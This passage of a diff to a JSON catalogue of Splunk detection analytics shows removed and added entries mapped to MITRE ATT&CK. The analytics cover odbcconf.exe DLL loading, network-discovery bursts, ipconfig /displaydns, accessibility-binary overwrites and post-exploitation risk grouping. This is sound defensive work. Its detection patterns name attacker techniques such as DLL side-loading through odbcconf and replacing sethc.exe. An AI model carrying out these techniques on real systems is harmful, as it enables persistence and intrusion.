Options Injection", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1546.012", + "x_mitre_is_subtechnique": true, + "technique": "Image File Execution Options Injection", + "tactic": [ + "privilege-escalation", + "persistence" + ], + "platform": [ + "Windows" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] } ], "external_reference": [ @@ -388421,204 +273219,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Windows Odbcconf Hunting", - "description": "The following analytic identifies the execution of Odbcconf.exe within the environment. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the process name is Odbcconf.exe. This activity is significant because Odbcconf.exe can be used by attackers to execute arbitrary commands or load malicious DLLs, potentially leading to code execution or persistence. If confirmed malicious, this behavior could allow an attacker to maintain access to the system, execute further malicious activities, or escalate privileges, posing a significant threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=odbcconf.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_odbcconf_hunting_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to circumvent controls.", - "risk_score": 6, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.008", - "mitre_attack_technique": "Odbcconf", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Cobalt Group" - ] - } - ] - } - }, - { - "name": "Windows Odbcconf Load DLL", - "description": "The following analytic detects the execution of odbcconf.exe with the regsvr action to load a DLL. This is identified by monitoring command-line arguments in process creation logs from Endpoint Detection and Response (EDR) agents. This activity is significant as it may indicate an attempt to execute arbitrary code via DLL loading, a common technique used in various attack vectors. If confirmed malicious, this could allow an attacker to execute code with the privileges of the odbcconf.exe process, potentially leading to system compromise or further lateral movement.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=odbcconf.exe Processes.process IN (\"*/a *\", \"*-a*\") Processes.process=\"*regsvr*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_odbcconf_load_dll_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to circumvent controls.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.008", - "mitre_attack_technique": "Odbcconf", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Cobalt Group" - ] - } - ] - } - }, - { - "name": "Windows Odbcconf Load Response File", - "description": "The following analytic detects the execution of odbcconf.exe with a response file, which may contain commands to load a DLL (REGSVR) or other instructions. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant as it may indicate an attempt to execute arbitrary code or load malicious DLLs, potentially leading to unauthorized actions. If confirmed malicious, this could allow an attacker to gain code execution, escalate privileges, or establish persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=odbcconf.exe Processes.process IN (\"*-f *\",\"*/f *\") Processes.process=\"*.rsp*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_odbcconf_load_response_file_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to circumvent controls.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.008", - "mitre_attack_technique": "Odbcconf", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Cobalt Group" - ] - } - ] - } } ], "external_reference": [ @@ -390646,828 +275246,7 @@ "Event ID": "200-500, 4100-4104", "Event Name": "PowerShell" } - ], - { - "name": "Detect processes used for System Network Configuration Discovery", - "description": "The following analytic identifies the rapid execution of processes used for system network configuration discovery on an endpoint. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process GUIDs, names, parent processes, and command-line executions. This activity is significant as it may indicate an attacker attempting to map the network, which is a common precursor to lateral movement or further exploitation. If confirmed malicious, this behavior could allow an attacker to gain insights into the network topology, identify critical systems, and plan subsequent attacks, potentially leading to data exfiltration or system compromise.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where NOT Processes.user IN (\"\",\"unknown\") by Processes.dest Processes.process_name Processes.parent_process_name Processes.user _time | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | search `system_network_configuration_discovery_tools` | transaction dest connected=false maxpause=5m |where eventcount>=5 | table firstTime lastTime dest user process_name process parent_process parent_process_name eventcount | `detect_processes_used_for_system_network_configuration_discovery_filter`", - "tags": { - "analytic_story": [ - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning multiple $process_name$ was identified on endpoint $dest$ by user $user$ typically not a normal behavior of the process.", - "risk_score": 32, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Linux System Network Discovery", - "description": "The following analytic identifies potential enumeration of local network configuration on Linux systems. It detects this activity by monitoring processes such as \"arp,\" \"ifconfig,\" \"ip,\" \"netstat,\" \"firewall-cmd,\" \"ufw,\" \"iptables,\" \"ss,\" and \"route\" within a 30-minute window. This behavior is significant as it often indicates reconnaissance efforts by adversaries to gather network information for subsequent attacks. If confirmed malicious, this activity could enable attackers to map the network, identify vulnerabilities, and plan further exploitation or lateral movement within the environment.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name_list values(Processes.process) as process_list values(Processes.process_id) as process_id_list values(Processes.parent_process_id) as parent_process_id_list values(Processes.process_guid) as process_guid_list dc(Processes.process_name) as process_name_count from datamodel=Endpoint.Processes where Processes.process_name IN (\"arp\", \"ifconfig\", \"ip\", \"netstat\", \"firewall-cmd\", \"ufw\", \"iptables\", \"ss\", \"route\") by _time span=30m Processes.dest Processes.user | where process_name_count >=4 | `drop_dm_object_name(Processes)`| `linux_system_network_discovery_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Industroyer2", - "Network Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Network discovery process $process_name_list$ executed on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Network Discovery Using Route Windows App", - "description": "The following analytic detects the execution of the `route.exe` Windows application, commonly used for network discovery. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events. This activity is significant because adversaries often use `route.exe` to map network routes and identify potential targets within a network. If confirmed malicious, this behavior could allow attackers to gain insights into network topology, facilitating lateral movement and further exploitation. Note that false positives may occur due to legitimate administrative tasks or automated scripts.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_route` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `network_discovery_using_route_windows_app_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA22-277A", - "Prestige Ransomware", - "Qakbot", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Network Connection discovery on $dest$ by $user$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1016.001", - "mitre_attack_technique": "Internet Connection Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT29", - "FIN13", - "FIN8", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Magic Hound", - "TA2541", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Common Abused Cmd Shell Risk Behavior", - "description": "The following analytic identifies instances where four or more distinct detection analytics are associated with malicious command line behavior on a specific host. This detection leverages the Command Line Interface (CLI) data from various sources to identify suspicious activities. This behavior is significant as it often indicates attempts to execute malicious commands, access sensitive data, install backdoors, or perform other nefarious actions. If confirmed malicious, attackers could gain unauthorized control, exfiltrate information, escalate privileges, or launch further attacks within the network, leading to severe compromise.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where source IN (\"*Cmdline Tool Not Executed In CMD Shell*\", \"*Windows System Network Config Discovery Display DNS*\", \"*Local Account Discovery With Wmic*\", \"*Net Localgroup Discovery*\", \"*Create local admin accounts using net exe*\", \"*Local Account Discovery with Net*\", \"*Icacls Deny Command*\", \"*ICACLS Grant Command*\", \"*Windows Proxy Via Netsh*\", \"*Processes launching netsh*\", \"*Disabling Firewall with Netsh*\", \"*Windows System Network Connections Discovery Netsh*\", \"*Network Connection Discovery With Arp*\", \"*Windows System Discovery Using ldap Nslookup*\", \"*Windows System Shutdown CommandLine*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_common_abused_cmd_shell_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "DarkCrystal RAT", - "Disabling Security Tools", - "FIN7", - "Netsh Abuse", - "Qakbot", - "Sandworm Tools", - "Volt Typhoon", - "Windows Defense Evasion Tactics", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "series of process commandline being abused by threat actor have been identified on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1529", - "mitre_attack_technique": "System Shutdown/Reboot", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Post Exploitation Risk Behavior", - "description": "The following analytic identifies four or more distinct post-exploitation behaviors on a Windows system. It leverages data from the Risk data model in Splunk Enterprise Security, focusing on multiple risk events and their associated MITRE ATT&CK tactics and techniques. This activity is significant as it indicates potential malicious actions following an initial compromise, such as persistence, privilege escalation, or data exfiltration. If confirmed malicious, this behavior could allow attackers to maintain control, escalate privileges, and further exploit the compromised environment, leading to significant security breaches and data loss.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories IN (\"*Windows Post-Exploitation*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_post_exploitation_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Windows Post Exploitation behavior has been detected on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1115", - "mitre_attack_technique": "Clipboard Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT38", - "APT39" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows System Network Config Discovery Display DNS", - "description": "The following analytic identifies the execution of the \"ipconfig /displaydns\" command, which retrieves DNS reply information using the built-in Windows tool IPConfig. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line executions. Monitoring this activity is significant as threat actors and post-exploitation tools like WINPEAS often abuse this command to gather network information. If confirmed malicious, this activity could allow attackers to map the network, identify DNS servers, and potentially facilitate further network-based attacks or lateral movement.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"ipconfig.exe\" OR Processes.original_file_name = \"ipconfig.exe\" AND Processes.process = \"*/displaydns*\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_network_config_discovery_display_dns_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "process $process_name$ with commandline $process$ is executed in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -392936,77 +276715,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Overwriting Accessibility Binaries", - "description": "The following analytic detects modifications to Windows accessibility binaries such as sethc.exe, utilman.exe, osk.exe, Magnify.exe, Narrator.exe, DisplaySwitch.exe, and AtBroker.exe. It leverages filesystem activity data from the Endpoint.Filesystem data model to identify changes to these specific files. This activity is significant because adversaries can exploit these binaries to gain unauthorized access or execute commands without logging in. If confirmed malicious, this could allow attackers to bypass authentication mechanisms, potentially leading to unauthorized system access and further compromise of the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.user) as user values(Filesystem.dest) as dest values(Filesystem.file_path) as file_path from datamodel=Endpoint.Filesystem where (Filesystem.file_path=*\\\\Windows\\\\System32\\\\sethc.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\utilman.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\osk.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\Magnify.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\Narrator.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\DisplaySwitch.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\AtBroker.exe*) by Filesystem.file_name Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `overwriting_accessibility_binaries_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Flax Typhoon", - "Hermetic Wiper", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious file modification or replace in $file_path$ in host $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1546.008", - "mitre_attack_technique": "Accessibility Features", - 